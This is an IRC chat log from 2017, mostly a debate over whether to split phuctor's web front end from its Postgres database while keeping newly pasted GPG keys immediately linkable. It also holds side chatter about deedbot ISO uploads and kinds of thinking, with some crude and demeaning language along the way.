1639891;1491578922;asciilifeform;http://btcbase.org/log/2017-04-07#1639880 << imho this is a mistake. the presentation of results is not ~cleanly~ separable from the generation, because certain situations (dupes, or the omission of a concordance factor/modulus/key linkage) must be HARD-guaranteed not to happen 1639892;1491578922;a111;Logged on 2017-04-07 14:44 trinque: mircea_popescu: more clearly stated, I do not see a www as part of the algorithm of phuctor. it is one source of input where there could be many, and one output idem. with a clearly defined line between www and phuctor (even allowing for that www may require cached copies of phuctor data to operate properly), this gives you something you can nuke later and replace. 1639893;1491578941;asciilifeform;and this requires guaranteed consistency. right now i have this guarantee because there is one db, and not a multilevel morass. 1639894;1491578974;asciilifeform;http://btcbase.org/log/2017-04-07#1639881 << i'll say that being able to paste in an unknown base64 pgp key and see a search result NOW, is not negotiable. 1639895;1491578974;a111;Logged on 2017-04-07 14:45 trinque: without this separation the idiocies of www will creep in, such as "must respond to user accurately and *now*" 1639896;1491578988;asciilifeform;it is one of the main reasons for phuctor at all. 1639897;1491579021;asciilifeform;http://btcbase.org/log/2017-04-07#1639884 << is it not obvious how creating MORE things that gotta be 'nuked later' is a problem ? 1639898;1491579021;a111;Logged on 2017-04-07 14:48 Framedragger: the 'www side can live on another server, even' degree of separation may be most easily achievable (given lack of resources to rewrite everything as of now) via pg notify / streaming replication. but maybe asciilifeform would insist that this is 'marrying the db' 1639899;1491579040;asciilifeform;this is how winblowz ended up with bookcase-length api, people. 1639900;1491579061;asciilifeform;'haha we can always get rid of $item later', mmmnope. 1639901;1491579065;asciilifeform;~never happens. 1639902;1491579469;mircea_popescu;it happens here, we got rid of all sorts of intermediate steps 1639903;1491579913;Framedragger;asciilifeform: the parallel to "this is how winblowz blew up" breaks, imho, if you consider the splitting-off of www not as an addition, but as actual splitting-off, i.e., the box with phuctor on it may no longer have a www interface (just an option, i know you may be against it). if you picture it that way, it's more about modularisation vs. fixing and inflating a single monolithic thing. 1639904;1491579948;Framedragger;(granted, these are just nice abstract words.) 1639905;1491580054;shinohai;The conspiracy theories begin, Trump leaves the runways intact: https://pbs.twimg.com/media/C8z7QViXYAIrhtc.jpg 1639906;1491580082;shinohai;Naturally, this was to appease Russia. 1639907;1491580407;asciilifeform;intact ?! and somebody claims to see this from linked photo ?? 1639908;1491580468;shinohai;yup. 1639909;1491580484;asciilifeform;Framedragger: now you're talking about having 2 boxes ? do you have an idea what the ~one~ costs ? 1639910;1491580491;asciilifeform;( ever read the s.nsa broadcast ? ) 1639911;1491580501;shinohai;Also, strikes were designed to create moar refugees which Trump could laugh at and turn away. 1639912;1491580507;asciilifeform;lol 1639913;1491580536;asciilifeform;Framedragger: think about how much complexity in the liquishit we call 'modern comp' comes from these attempted modularizations. 1639914;1491580544;asciilifeform;'oh gotta have clipboard be a separate process' 1639915;1491580562;asciilifeform;'oh disk cache gotta be separate from kernel' 1639916;1491580594;Framedragger;asciilifeform: hold on. the idea was to separate reads from writes. having a separate box for www which gets updates from phuctor box, and having pg indices on it for quick search is *not* resource-intensive. i can cite examples but basically i'm quite certain that a <= 16gb memory box would suffice. phuctor box is 256 gigs yes, but it does *so much more*. 1639917;1491580669;asciilifeform;Framedragger: why are you regarding the added complexity (100x what i have now!) as 'free' ? 1639918;1491580679;Framedragger;of course being able to point to a working prototype would do so much more than arguments. unfortunately that would most likely require the needed modifications on the phuctor box, so a bit of chicken-and-egg. 1639919;1491580686;asciilifeform;and the work of shepherding 2+ machines. 1639920;1491580691;asciilifeform;not to mention their bandwidth. 1639921;1491580732;Framedragger;bandwidth? bandwidth required for phuctor box would be "what's needed to send new rows to this other box". 1639922;1491580759;Framedragger;bandwidth required for the www box would be ~same as what's currently needed from phuctor. 1639923;1491580834;asciilifeform;Framedragger: you're talking about replication. replication, generally speaking, doesn't work. certainly not on posgres or any other free db, and certainly not without titanic sweat and inevitable increases in attack surface. 1639924;1491580834;Framedragger;now, complexity management-wise.. maybe; having same person manage both boxes may not be best idea (and the alternative has its own advantages). but the current "phuctor is down, i don't know why, it's a black box" isn't the greatest example of current setup, either. (this may be a red herring, i'm not sure) 1639925;1491580895;asciilifeform;understand, Framedragger, it is 600 lines, now. 1639926;1491580899;Framedragger;well, i'm not that certain, but i am assuming you have more experience there with me. i will only remark that you merely need a *read slave*, not an actual mirror db which can handle writes and sync state. the syncing would go one way only. (hence the multiple references to pg streaming replication.) 1639927;1491580950;Framedragger;(again tho, it's very easy to just point finger at features, so i'll gladly shut up) 1639928;1491580959;asciilifeform;theoretically this can be done on one box. but -- for my enlightenment, Framedragger , describe to me : 1639929;1491580965;asciilifeform;what happens when a user submits a gpg key ? 1639930;1491580972;asciilifeform;under your hypothetical system 1639931;1491580984;asciilifeform;where does it go ? 1639932;1491581007;asciilifeform;does he IMMEDIATELY get a bookmarkable link based on the key's hash ? that he can come back to next hour, next day, next decade ? if so, how ?? 1639933;1491581013;asciilifeform;if the 'www db' isn't writable 1639934;1491581020;Framedragger;asciilifeform: aha, right, that. i literally forgot about that lol. but wait, first we need to clear up the question about whether you want an immediate result to be shown to user upon gpg key submission. 1639935;1491581024;asciilifeform;aaaahahahahahaha 1639936;1491581026;Framedragger;are you absolutely unwilling to have a delay there? 1639937;1491581031;asciilifeform;ABSOLUTELY 1639938;1491581037;Framedragger;"but whyy" 1639939;1491581043;asciilifeform;EVERYBODY thinks they're soooo much cleverer than dumb old asciilifeform 1639940;1491581050;Framedragger;because gotta serve all the our democracy right here and now? 1639941;1491581052;asciilifeform;'i can make it BETTER, FASTER, STRONGER!1111' 1639942;1491581062;asciilifeform;'but does it do the same job ?' 'ummmmm didn't think of it' 1639943;1491581076;asciilifeform;Framedragger: it ain't about 'demoocracy', it is about actually doing the job 1639944;1491581114;asciilifeform;the job where it takes you from a base64 gpg key you found on some godforsaken usenet post, to a permanent link in phuctor 1639945;1491581123;asciilifeform;which, note, replaces, e.g., sks and other heathen idiocies. 1639946;1491581164;Framedragger;hold on, hold on. first of all, regarding the permalink: you can have this anyway, because the hash is computed in python anyway (i ~recall the procedure that you once gave me). so, 1639947;1491581177;Framedragger;you can give permalink to user on the www read-only box. 1639948;1491581183;asciilifeform;it isn't merely 'hash is computed', it shows if anyone else at any point in history ever had the mods. 1639949;1491581188;asciilifeform;including the guy who submitted 5 seconds ago. 1639950;1491581199;asciilifeform;think about this last part. 1639951;1491581262;asciilifeform;'but asciilifeform ! real roquefort is soooo expensive ! let's replace SOME of it with petro-roquefort' 1639952;1491581264;asciilifeform;no pasaran. 1639953;1491581269;Framedragger;yes that's the tricky part. my natural answer to that would be to "drop it, have user be able to come back right away - to a permalink - but results only displayed when the upstream db actually processes and inserts the new entry. (this entry would then get fed into the slave via streaming replication)" 1639954;1491581276;Framedragger;however, you won't agree to drop it, i take it. 1639955;1491581283;asciilifeform;aha. 1639956;1491581312;Framedragger;fuckety fuck 1639957;1491581371;asciilifeform;what i'ma have to do, eventually, is to replace all of the idiocy. ditch the python, ditch the sql. 1639958;1491581383;asciilifeform;custom (bitwise, and using mmap) db, with fixed-length fields. 1639959;1491581387;asciilifeform;and O(1) access. 1639960;1491581393;asciilifeform;but this won't be happening today. 1639961;1491581427;CompanionCube;would phuctor be ada-ized? 1639962;1491581440;asciilifeform;CompanionCube: inevitably 1639963;1491581450;asciilifeform;it's the only serious long-term pill. 1639964;1491581468;Framedragger;alright. i will grant you that the end system wouldn't be "oh so elegantly simple", because you would have to have a submission queue (maybe something that trinque had in mind). user submits key; gets permalink (immediately); meanwhile key gets sent to master (immediately), and master puts it into "to be inserted" queue. under normal loads, the insertion happens ~immediately, 1639965;1491581469;Framedragger; and you get your 5 seconds. if the db is loaded, it gets inserted "fast", and user is able to see results upon refresh (because when it gets inserted, update gets immediately sent to slave via trigger rule.) 1639966;1491581512;asciilifeform;Framedragger: this is quite similar to what already happens. 1639967;1491581537;asciilifeform;with the difference that the queueing takes place inside pg 1639968;1491581550;asciilifeform;and so 'looks slow' 1639969;1491581552;Framedragger;can you not picture this setup with a read-only slave, with a *separate* "give new key to master" interface (separate so that the replication doesn't become write-write but stays write-read) 1639970;1491581586;asciilifeform;i can easily picture it . it is how commercial ( http://btcbase.org/log/2017-02-19#1615434 ) db work. google et al. i am specifically uninterested in taking that approach. 1639971;1491581586;a111;Logged on 2017-02-19 03:54 asciilifeform: (iirc we had a thread where i described how corporate ameritards, if given a problem like phuctor, would happily soak up a few $mil and megawatt of iron) 1639972;1491581596;Framedragger;(again, i did realise that the "oh very simple" angle isn't strong here) 1639973;1491581597;asciilifeform;because the CORRECT answer is a sane db that isn't written by motherfucking wreckers 1639974;1491581600;asciilifeform;and isn't slow as molasses. 1639975;1491581614;asciilifeform;and knows how to read while writing without stepping on own shoelaces. 1639976;1491581661;asciilifeform;the disk can push 150 MB/sec. if the db cannot do 150 MB/sec, it is retarded and must burn. 1639977;1491581695;asciilifeform;it is -- quite obviously -- doing work that dun need doing. behind the curtain. 'for your own good.' 1639978;1491581714;asciilifeform;see the userland fs thread, with the rebalances. 1639979;1491581718;Framedragger;you are presenting a false dichotomy consisting of {current phuctor; $multi-mil db setup}. you propose to escape it by writing new db as the only way to escape it. 1639980;1491581746;Framedragger;people are telling you that there is a setup which is better but not multi-mil. it does require planning, etc. 1639981;1491581783;Framedragger;it was retarded of me to just throw keywords at you saying "that would do it". 1639982;1491581783;asciilifeform;i am quite aware that 'software industry' today consists of multiple layers of shit sandwitch, each and every one of which consisted of 'great optimization! all you gotta do is add this 5000 lines of code and 40 layer tree of state that gotta be kept consistent' 1639983;1491581788;asciilifeform;asciilifeform specifically does not do this. 1639984;1491581838;*;Framedragger quite certain he would get erection from that small c program in phuctor, and that is great 1639985;1491581874;asciilifeform;having two databases sounds superficially like a great thing, until you realize that the read-write thing applies just the same to the 'front' one as it does to the existing single. 1639986;1491581889;asciilifeform;you are STILL stuck writing new submissions to the front. 1639987;1491581937;asciilifeform;understand, if i paste a gpg key into phuctor, and cannot then ~immediately~ link to it in-chan -- phuctor is broken!! 1639988;1491581940;Framedragger;but you no longer reading from the front (in the sense of sql queries), which in db-land is good for performance. 1639989;1491581954;Framedragger;are* 1639990;1491581962;asciilifeform;every url fetch reads. 1639991;1491581969;asciilifeform;and from where, do you think, it reads ? 1639992;1491581975;Framedragger;it reads from the cached copy, damnit. 1639993;1491581982;asciilifeform;and the cached copy is updated when ? 1639994;1491581999;Framedragger;it is updated in ~realtime from the master via streaming replication 1639995;1491582014;Framedragger;which means, "whenever new row, send it off [without having to execute a new select query etc]" 1639996;1491582040;asciilifeform;again, every key submission potentially affects multiple rows. 1639997;1491582060;asciilifeform;because a key breaks down into moduli, fingerprints, and -- potentially -- known factors 1639998;1491582087;Framedragger;that is fine, and a postgres trigger would mean that any affected row gets sent off. i do understand that new-key-addition is a db-intense process, of course 1639999;1491582088;asciilifeform;and if ANY of these exist previously, incl. from a submission 5 seconds ago -- they gotta be correctly linked 1640000;1491582090;asciilifeform;instead of created. 1640001;1491582231;trinque;http://btcbase.org/log/2017-04-07#1639899 << imma seriously start calling this russing over the issue if we get one more of y'all in here doing that. 1640002;1491582231;a111;Logged on 2017-04-07 15:30 asciilifeform: this is how winblowz ended up with bookcase-length api, people. 1640003;1491582242;Framedragger;(just so i don't feel like just throwing random verbiage at you, what i mean is something like `CREATE TRIGGER setup_send_update AFTER INSERT OR UPDATE ON phuctor FOR EACH ROW EXECUTE PROCEDURE send_update);` - it wouldn't be hard to try.) 1640004;1491582244;asciilifeform;which issue trinque 1640005;1491582245;trinque;my proposal was to put your turdworks in a box 1640006;1491582250;trinque;not let them seep all through 1640007;1491582264;asciilifeform;trinque: sorta what Framedragger was discussing, neh 1640008;1491582267;trinque;you *have* turdworks by your own decision to use www (which I think is reasonable) 1640009;1491582282;asciilifeform;i don't presently see them as cleanly cuttable apart 1640010;1491582294;asciilifeform;while retaining what i see as the non-negotiable features. 1640011;1491582304;asciilifeform;(immediate linkability of newly-pasted-in gpg key.) 1640012;1491582336;asciilifeform;this is not even to mention the complexity cost. 1640013;1491582362;asciilifeform;or the cost of getting a 2nd box with five-nines uptime. 1640014;1491582498;asciilifeform;and if you think rewriting 600 ln. of python is painful -- try rewriting 60,000. which is what is being proposed : to give asciilifeform 60,000 lines to later inevitably rewrite. 1640015;1491582530;Framedragger;asciilifeform: fwiw i'd be willing to set up a read slave on 16gb dedi box (siphnos, unmetered connection) for fri, that part is not hard imho. sure, if/when decision would be made to *actually expose it to everyone*, things could be moved (and maintained by someone else), but this is one way to prototype things. 1640016;1491582549;Framedragger;rewriting 60000 lines for this.. how does that follow.. 1640017;1491582559;asciilifeform;at one point i thought that giving it to other folx could be a reasonable thing. now i ~definitely~ do not 1640018;1491582571;asciilifeform;given that i found that various otherwise reasonable people are willing to make all kinds of compromises 1640019;1491582576;asciilifeform;that i do ~not~ support 1640020;1491582584;asciilifeform;( to dispense, for instance, with immediate linkability ) 1640021;1491582613;asciilifeform;the apparent willingness of, e.g., Framedragger , to introduce petro-cheese is quite depressing 1640022;1491582624;*;trinque catches up on thread, 1sec 1640023;1491582630;Framedragger;if people decide to compromise on things after an agreement was made not to, i mean.. fuck those people 1640024;1491582657;Framedragger;asciilifeform: yeah i said some stupid things, apologies for depressing you there 1640025;1491582672;asciilifeform;the performance wins described in this thread by Framedragger and trinque can only come at the cost of 1) massive increase in complexity, and in particularly state 2) loss of immediate linkability of freshly pasted keys. 1640026;1491582676;asciilifeform;per my current understanding. 1640027;1491582677;trinque;I find the notion that asciilifeform here is the only guy capable of adhering to own standards lulzy 1640028;1491582685;trinque;if so dispense with republic, bring on teh stalin 1640029;1491582693;asciilifeform;trinque: speaking strictly of this particular problem. 1640030;1491582701;trinque;asciilifeform: you did not seriously cogitate on anything I sad for more than 5 seconds 1640031;1491582704;trinque;*said 1640032;1491582708;asciilifeform;i must point out, that i am unwilling to solve it by redefining the problem. 1640033;1491582716;asciilifeform;'oh you don't need immediate links!' 1640034;1491582728;trinque;^ find reference for this pls 1640035;1491582743;asciilifeform;the dual db thing 1640036;1491582748;asciilifeform;it flows inescapably from it 1640037;1491582763;trinque;so you're talking to me about Framedragger's whatever, k 1640038;1491582786;asciilifeform;this in re the dual-db optimization, yes 1640039;1491582792;asciilifeform;trinque has entirely different algo ? 1640040;1491582797;Framedragger;(i'll just note that the *permalink* can be derived on the slave box, and nowhere did i say something contradicting this) 1640041;1491582800;trinque;I refuse to retype it 1640042;1491582814;asciilifeform;trinque: i'ma reread the trinque lines from log. 1640043;1491582827;asciilifeform;see if missed something. 1640044;1491582849;asciilifeform;but meanwhile i also must address the 'stable boy' thing 1640045;1491582888;asciilifeform;imho to even suggest such a thing, betrays a very serious misunderstanding of the concept. dumb humans are in every respect an inferior version of the machine. the only thing more agonizing than programming comp, is programming dumb humans. 1640046;1491582910;asciilifeform;i do not need 'stable boy' for anything. there is no conceivable room, imho, for any such thing in any of my systems. 1640047;1491582915;trinque;I'm not defending that because it's not what I said. 1640048;1491582939;asciilifeform;maybe i misunderstood the idea ? what was meant ? 1640049;1491582946;trinque;you conflate the paper delivery kid with the printing works and the writers and, and, at your own design 1640050;1491582963;asciilifeform;this presupposes that the task can be cut. 1640051;1491582969;asciilifeform;into 'paperboy' and 'writer'. 1640052;1491582982;asciilifeform;maybe -- could. but i do not see how it can be done without losing something important. 1640053;1491583047;asciilifeform;and yes, if you were to throw out the realtime query ability, you could run phuctor as a 'newspaper'. 1640054;1491583055;asciilifeform;even, hell, distribute printed edition, like telephone book. 1640055;1491583065;asciilifeform;but that ain't a solution imho. 1640056;1491583068;asciilifeform;it's a petrocheese. 1640057;1491583128;asciilifeform;and a ~very~ serious, imho, surrender. 'oh, this thing that you could do whenever you wanted in 2013? can't do it no moar.' 1640058;1491583149;Framedragger;last note before i fuck off: the "user submits key; gets permalink (immediately); meanwhile key gets sent to master (immediately), and master puts it into "to be inserted" queue" + "all inserted + updated rows get sent back to slave via streaming replication and pg trigger" doesn't look like petrocheese to me. is all. 1640059;1491583178;asciilifeform;Framedragger: it means that the user doesn't immediately learn the 'do we know this key?' answer. 1640060;1491583179;asciilifeform;srsly. 1640061;1491583182;asciilifeform;not hard concept. 1640062;1491583195;trinque;the fuck is hard about whether a unique constraint bumped into something 1640063;1491583216;asciilifeform;trinque: expand plox 1640064;1491583275;trinque;you have a keys table, factors table, factors has a unique constraint on value column of factors, there is a join table called key_factor which joins key and factor 1640065;1491583358;asciilifeform;factors get created by the werker process (in c, and unable to do anything whatsoever other than to search for whether a particular factor already exists) 1640066;1491583365;asciilifeform;do to the db, i mean. 1640067;1491583426;asciilifeform;it handles 3 cases : new factor of old modulus that had some known factors; new factor of modulus that had no known factors; old factor of modulus that had some known factors. 1640068;1491583535;asciilifeform;trinque: what happens if a unique constraint is violated ? afaik -- query eggogs 1640069;1491583553;asciilifeform;is this in point of fact any faster than running a search and ensuring that there is no eggog query submitted ? 1640070;1491583577;trinque;well one sec, so you're trying to establish relationship between keys and factors in the db, yes? 1640071;1491583582;asciilifeform;right 1640072;1491583642;trinque;the "unique" is just an index which yes eggogs if insert happens and is already present. the eggog is just a matter of how do you want to find out about this 1640073;1491583649;jurov;coinbr public announcement: there are some stuck orders, and it came at worst possible time. During the weekend I should be able to fix. 1640074;1491583682;trinque;can do also: select exists(select 1 from factors where value = ?); 1640075;1491583690;trinque;where value is indexed 1640076;1491583718;trinque;I'm of course shooting in the dark as to what happens when in what you have. 1640077;1491583738;asciilifeform;trinque: can i , purely using sql query, force it to not attempt write ( and -- importantly -- to take no locks ! ) if an item already exists ? 1640078;1491583791;trinque;insert into factors (val) values (3) where not exists (select 1 from factors where value = 3); 1640079;1491583793;trinque;or thereabouts 1640080;1491583894;asciilifeform;thing is, it also has to update the respective mod's factors indices array 1640081;1491583902;asciilifeform;( a factor belongs to ~one or more~ mods ) 1640082;1491583907;asciilifeform;it can potentially belong to 10,000,001 mods. 1640083;1491583931;asciilifeform;for some of whom -- we may already know it, and have it in the indices 1640084;1491583957;trinque;the insert statement can return its id to a calling update statement 1640085;1491583972;trinque;one sec. 1640086;1491584022;*;asciilifeform dusts off notebook, listens to trinque 1640087;1491584106;trinque;array type in db or join table? 1640088;1491584114;asciilifeform;array 1640089;1491584127;asciilifeform;and hey iirc i posted entire db (11 GB or so!) here... 1640090;1491584143;trinque;hm, shit I missed. 1640091;1491584173;trinque;know mod IDs to update at this point? 1640092;1491584233;asciilifeform;which point 1640093;1491584407;trinque;does this query look up the mod IDs to append their factor arrays, or does your worker already know those 1640094;1491584437;asciilifeform;knows 1640095;1491584657;trinque;asciilifeform: http://p.bvulpes.com/pastes/XFgif/?raw=true 1640096;1491584782;asciilifeform;trinque: this looks like it does exactly same thing as my current routine 1640097;1491584909;trinque;http://btcbase.org/log/2017-04-07#1640077 << was direct response to this 1640098;1491584909;a111;Logged on 2017-04-07 16:48 asciilifeform: trinque: can i , purely using sql query, force it to not attempt write ( and -- importantly -- to take no locks ! ) if an item already exists ? 1640099;1491585014;asciilifeform;aah 1640100;1491585047;asciilifeform;i'ma have to do some rtfm, to figure out how trinque's snippet worx. 1640101;1491585112;trinque;alrighty 1640102;1491585166;asciilifeform;ty for taking the sweat to puzzle over this, trinque . 1640103;1491585218;trinque;any time 1640104;1491585513;shinohai; bn 1640105;1491585755;danielpbarron;http://btcbase.org/log/2017-04-07#1639551 << why didn't this work? 1640106;1491585755;a111;Logged on 2017-04-07 03:19 danielpbarron: !!deed http://danielpbarron.com/obsd55-cd1.iso.tar.gz.txt.asc 1640107;1491585996;trinque;danielpbarron: let ya know 1640108;1491586031;danielpbarron;file is 682M -- maybe that's too big? 1640109;1491586047;trinque;got 10s of gigs over there free, nah 1640110;1491586059;trinque;mod6 did some pretty big ones 1640111;1491586074;danielpbarron;i was voiced obviously, but maybe deedbot had reconnected since then, and didn't see me as authed anymore? 1640112;1491586076;shinohai;I was gonna say, all those trb artifacts were huge 1640113;1491586203;danielpbarron;on a related note, which openbsd cds are specifically wanted? i did 5.5 cd1 because i have that pack opened already, and because the more useful cd2 (containing amd64) got damaged when i tried to remove it from one of my iMac G3s that wouldn't spit it back out (it also has ppc -- probably the arch of interest) 1640114;1491586241;trinque;when we get it to work, all, far as I'm concerned 1640115;1491586270;danielpbarron;i can do an unboxing video or something. i have 5.5 through 5.8 in original sealed packaging 1640116;1491586298;danielpbarron;i even have the missprint 5.8 and the replacement cd they sent afterwards 1640117;1491586394;danielpbarron;will be interesting to see if my unopened 5.5 cd1 is the same bitwise as the one in the above mentioned deed 1640118;1491586409;danielpbarron;got them from different stores even 1640119;1491587183;trinque;I'm getting on the previous batch of deeds that I have insufficient funds, which is bullshit. 1640120;1491587195;trinque;so, gotta untwist that 1640121;1491587230;shinohai;deedbot got gabriel_ladell'ed 1640122;1491587232;trinque;then also danielpbarron this project with ISOs might take rewriting the downloader, will have to look at it 1640123;1491587245;trinque;shinohai: loool 1640124;1491587267;trinque;danielpbarron: lets work on getting those in next week 1640125;1491587281;danielpbarron;ok 1640126;1491587326;danielpbarron;also please let me know if my format was right. I emulated mod6's thing but maybe there's a better way to do it with iso 1640127;1491587348;danielpbarron;tar.gz only compressed it from ~708 to 682 1640128;1491587384;trinque;curl $url | head -n 30 looks fine 1640129;1491587416;danielpbarron;and is it redundant to include sha512 on both the tar.gz and the iso? 1640130;1491587474;trinque;danielpbarron: seems ok, maybe my tar or gzip has the HIV 1640131;1491587480;danielpbarron;yeh 1640132;1491587789;shinohai;!!up eulenspiegel 1640133;1491587789;deedbot;eulenspiegel voiced for 30 minutes. 1640134;1491587952;mircea_popescu;http://btcbase.org/log/2017-04-07#1639984 << python 1640135;1491587952;a111;Logged on 2017-04-07 16:17 Framedragger quite certain he would get erection from that small c program in phuctor, and that is great 1640136;1491587960;mircea_popescu;eulenspiegel hehe not bad 1640137;1491588000;mircea_popescu;http://btcbase.org/log/2017-04-07#1639987 << not exactly broken, but certainly degraded. 1640138;1491588000;a111;Logged on 2017-04-07 16:18 asciilifeform: understand, if i paste a gpg key into phuctor, and cannot then ~immediately~ link to it in-chan -- phuctor is broken!! 1640139;1491588286;jhvh1;eulenspiegel, who is your Daddy and what does he do? 1640140;1491588383;*;mircea_popescu is enjoying this log. 1640141;1491588509;Framedragger;mircea_popescu: i thought one of the parts was a c proggy. quite certain it is, asciilifeform mentioned it multiple times. python is the web backend afaik 1640142;1491588522;mircea_popescu;ah yeah there is a part 1640143;1491588573;mircea_popescu;http://btcbase.org/log/2017-04-07#1640040 << could in principle derive it and "nothing here" until backend figures out wtf is going on i guess. 1640144;1491588573;a111;Logged on 2017-04-07 16:33 Framedragger: (i'll just note that the *permalink* can be derived on the slave box, and nowhere did i say something contradicting this) 1640145;1491588608;mircea_popescu;http://btcbase.org/log/2017-04-07#1640045 << this is a matter of personal preference. i favour humanses. 1640146;1491588608;a111;Logged on 2017-04-07 16:34 asciilifeform: imho to even suggest such a thing, betrays a very serious misunderstanding of the concept. dumb humans are in every respect an inferior version of the machine. the only thing more agonizing than programming comp, is programming dumb humans. 1640147;1491588759;Framedragger;mircea_popescu: re "nothing here" the idea would be that upon user submitting gpg key, page reloads *instantly* (vs. near-instant page load on current phuctor - reloads only after key inserted into db), shows permalink and "waiting for insertion" msg; html could have property to auto refresh every second until master responds with any links to other keys. but i understand asciilifeform's reasons against this 1640148;1491588802;mircea_popescu;you may snag some decidability issues (depending exactly how unique id is generated -- remember keys are not unique in this sense, kinda the point of phuctor)\ 1640149;1491588945;asciilifeform;http://btcbase.org/log/2017-04-07#1640141 << Framedragger is correct, there is a wwwtronic (and rfc4880-parsing) front end, that is in python; and a wholly separate werker that actually does the number crunching, in c. 1640150;1491588945;a111;Logged on 2017-04-07 18:08 Framedragger: mircea_popescu: i thought one of the parts was a c proggy. quite certain it is, asciilifeform mentioned it multiple times. python is the web backend afaik 1640151;1491588958;mircea_popescu;yeh. 1640152;1491589024;asciilifeform;http://btcbase.org/log/2017-04-07#1640145 << folx who are good at usefully programming humanses are called mircea_popescus and we here, luckily -- do have one!! 1640153;1491589024;a111;Logged on 2017-04-07 18:10 mircea_popescu: http://btcbase.org/log/2017-04-07#1640045 << this is a matter of personal preference. i favour humanses. 1640154;1491589035;mircea_popescu;unrelatedly, http://trilema.com/2017/the-lordship-list-fourth-year/ << last call for this, prolly getting done weekend/early next 1640155;1491589059;asciilifeform;mircea_popescu: looks good imho 1640156;1491589066;asciilifeform;http://btcbase.org/log/2017-04-07#1640108 << i wonder if we hit some hidden koch limit 1640157;1491589066;a111;Logged on 2017-04-07 17:27 danielpbarron: file is 682M -- maybe that's too big? 1640158;1491589070;asciilifeform;( wouldn't be the first time ) 1640159;1491589191;mircea_popescu;it's important to de-equivocate dumb ; there's two kinds of machine that may be casually referred to as dumb : one that is very slow (eg, z80) / one that is very demanding on the programmer (eg, windows). good programmer wouldn't really call z80 dumb, bad programmer wouldn't really call windows dumb. this directly translates to humans, there's a kind of dumb the incompetent identify mostly disjunct from the kind of dumb the c 1640160;1491589191;mircea_popescu;ompetent identify. 1640161;1491589237;asciilifeform;slow-but-guaranteed-correct-answer is not dumb at all. 1640162;1491589260;asciilifeform;( could be impractical -- we all die before answer is emitted -- but that ain't 'dumb' ) 1640163;1491589334;asciilifeform;and yes i'm familiar with 'prussian' model of command, where 'a good soldier follows directions, doesn't sit and think' etc. 1640164;1491589342;asciilifeform;it has a point. 1640165;1491589360;asciilifeform;but imho the logical end of it is proper mechanization. 1640166;1491589360;mircea_popescu;it all depends. 1640167;1491589471;mircea_popescu;no, let's also de-equivocate think. there's two kinds of think, one's a forge/reflow/examination of trees resulting in analytical consumption of inputs with actionable outputs guaranteed ; the other is a neurotic behaviour perhaps best described as spinning, whereby specific emotional triggers / detriggers are visited in succession. the prussian model was never concerned with the former in any sense, but merely aimed to elimi 1640168;1491589471;mircea_popescu;nate the latter ; under the (broadly correct) assumption that a quiet head works and a loud one doesn't. this isn't so different from, eg, buddhism. 1640169;1491589515;mircea_popescu;as a general rule, people who can't produce genus/difference definitions for all the symbols in their own output are better off not thinking yet, as what they think thinking is isn't. 1640170;1491589541;mircea_popescu;to go back to the machine model : until you're running symbolix, don't pretend like you're computing. 1640171;1491589906;mircea_popescu;and to link it to blogging : the point of blogging (daily!) is that it forces an easy and painless transition from type 2 to type 1 in the heads of the practitioners. there's no promise as to the rate of conversion, but then again that's the best you can get for painless. 1640172;1491589990;asciilifeform;this is reminiscent of marksmanship training, where trainee fights his idiot reflexes -- overaiming, oversqueezing 1640173;1491589997;*;Framedragger builds hasty internal map of 'mp type 1 is kahneman type 2, mp type 2 is kahneman type 1'.. 1640174;1491589997;mircea_popescu;quite. 1640175;1491590006;asciilifeform;and, from what i read -- of pilotage school also 1640176;1491590013;mircea_popescu;which is why prussians came up with it. fought a helluva lot of recruit idiocy to arrive to the concept. 1640177;1491590025;asciilifeform;( according to the b00k, most folx die in airplane because of ~thinking~ ) 1640178;1491590027;mircea_popescu;Framedragger works. 1640179;1491590073;mircea_popescu;if you're wondering, mp doesn't use the reference because the introduction de novo is a paragraph, the discussion of differentiation is a book. 1640180;1491590164;Framedragger;yeah this is nicely self-contained 1640181;1491590182;mircea_popescu;moreover wtf was he doing he sorted them backwards! 1640182;1491590221;mircea_popescu;SORTING is the most important activity of the human brain. and you should see how much trouble well experienced slavegirls encounter when their words are interpreted on a first-priority basis. 1640183;1491590233;mircea_popescu;"you couldn't have meant that because if you did mean it you'd have lead with it." 1640184;1491590245;Framedragger;well historically in terms of planet timespan, type 1 got our asses to here.. 1640185;1491590253;mircea_popescu;so ? 1640186;1491590259;Framedragger;yeah i see. 1640187;1491590271;mircea_popescu;you propose we also sort planets with earth in center and main sequence stars from the sun onwards ? 1640188;1491590317;Framedragger;also just to note, (obvs) type 1 (mp-type 2) has its merits and is important. but yeah i got your point 1640189;1491590330;mircea_popescu;expand on these merits when you will. 1640190;1491590393;Framedragger;ok, shall try later on, deferring for now. 1640191;1491590410;Framedragger;but you don't see merits of heuristics and biases in humans? 1640192;1491590427;mircea_popescu;asciilifeform often happens, which is why people insist they follow manual and procedure, which is what opens the whole thing up to mp going http://btcbase.org/log/2015-08-24#1250375 1640193;1491590427;a111;Logged on 2015-08-24 18:01 mircea_popescu: previous flight lost an engine foil, concorde ran it over, it cut a wheel, wheel exploded, large fragment of tyre hit underwing, shockwave broke a fuel tanker, fuel gushed out and caught, engineer cut the engine next, at which point they had 2km worth of runway left and needed 3 to abort. 1640194;1491590440;mircea_popescu;Framedragger neither of those fall under mp1. 1640195;1491590507;Framedragger;they are mp2, the one with lower ordinal, and my point was that it's still hella useful. can you employ the methodical and analytical mp1 when you touch hand on hot stove? no time to route through brain. 1640196;1491590510;hanbot;!~ticker 1640197;1491590511;jhvh1;hanbot: Bitfinex BTCUSD ticker | Best bid: 1193.1, Best ask: 1193.6, Bid-ask spread: 0.50000, Last trade: 1193.5, 24 hour volume: 26474.85631301, 24 hour low: 1176.7, 24 hour high: 1206.4, 24 hour vwap: None 1640198;1491590538;mircea_popescu;Framedragger reflexes are not a proper subject of this discussion, seeing how we're discussing "thinking" as in, brain phenomena. 1640199;1491590543;Framedragger;(but i'm probably conflating things too much, maybe you'd call such reactions something else) 1640200;1491590548;mircea_popescu;i would. 1640201;1491590578;Framedragger;kk. yeah i won't argue further without doing some decent mp1 thought here :) 1640202;1491590580;mircea_popescu;anyway. heuristics are not involved in watching daytime drama, which is what the type 2 described above is. 1640203;1491590581;trinque;comes from the spine doesn't it, or even more locally 1640204;1491590595;mircea_popescu;all those shots of people both facing the camera grimacing ? 18month old baby fare. 1640205;1491590758;mircea_popescu;trinque yeah, a proper reflex closes in the spine. there's opf course conditioned reflexes which close in the "brain", but not a very conscious part thereof afawk 1640206;1491590797;mircea_popescu;it's iffy, human body comes out of the hackpile, inc. labs 1640207;1491590824;Framedragger;i wonder 